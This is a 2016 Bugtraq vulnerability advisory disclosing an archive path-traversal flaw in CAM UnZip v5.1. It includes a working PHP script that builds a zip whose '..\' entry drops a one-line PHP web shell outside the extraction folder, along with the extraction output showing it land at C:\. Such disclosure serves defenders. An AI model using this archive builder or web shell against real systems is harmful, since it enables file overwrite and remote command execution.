lists.openwall.net   lists  /  announce  owl-users  owl-dev  john-users  john-dev  passwdqc-users  yescrypt  popa3d-users  /  oss-security  kernel-hardening  musl  sabotage  tlsify  passwords  /  crypt-dev  xvendor  /  Bugtraq  Full-Disclosure  linux-kernel  linux-netdev  linux-ext4  linux-hardening  linux-cve-announce  PHC 
Open Source and information security mailing list archives
 
Hash Suite: Windows password security audit tool. GUI, reports in PDF.
[<prev] [next>] [day] [month] [year] [list]
Date: Tue, 12 Apr 2016 18:29:01 GMT
From: hyp3rlinx@...os.com
To: bugtraq@...urityfocus.com
Subject: CAM UnZip v5.1 Archive Directory Traversal

[+] Credits: hyp3rlinx

[+] Website: hyp3rlinx.altervista.org

[+] Source:  http://hyp3rlinx.altervista.org/advisories/CAMUNZIP-ARCHIVE-PATH-TRAVERSAL.txt




Vendor:
=================
www.camunzip.com



Product:
==============
CAM UnZip v5.1



Vulnerability Type:
======================
Archive Path Traversal



CVE Reference:
==============
N/A



Vulnerability Details:
=====================

CAM UnZip fails to check that the paths of the files in the archive do not engage in path traversal when uncompressing the archive files.
specially crafted files in the archive containing '..\' in file name can overwrite files on the filesystem by backtracking or allow attackers
to place malicious files on system outside of the target unzip directory which may lead to remote command execution exploits etc...

Tested successfully Windows 7



Exploit code(s):
===============

malicious archive script...


<?php
#CAM UnZip v5.1
#directory traversal to remote code execution exploit
#====================================================

if($argc<2){echo "Usage: <filename>";exit();}
$file_name=$argv[1];

$zip = new ZipArchive();
$res = $zip->open("$file_name.zip", ZipArchive::CREATE);
$zip->addFromString("..\..\..\..\..\..\..\..\RCE.php", '<?php exec($_GET["cmd"]); ?>');
$zip->close();

echo "Malicious archive created...\r\n";
echo "========= hyp3rlinx ============";
?>

/////////////////////////////////////////////////////////////////////////////////////

Result:

Creating Folder: C:\Test\BOZO

Extracting Files From: C:\Test\BOZO.zip

Unzipped file C:\Test\BOZO\..\..\..\..\..\..\..\..\RCE.php of size 28

1 file was Extracted.

C:\RCE.php




Exploitation Technique:
=======================
Local



Severity Level:
================
Medium



[+] Disclaimer
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author.
The author is not responsible for any misuse of the information contained herein and prohibits any malicious use of all security related information or exploits by the author or elsewhere.

hyp3rlinx

Powered by blists - more mailing lists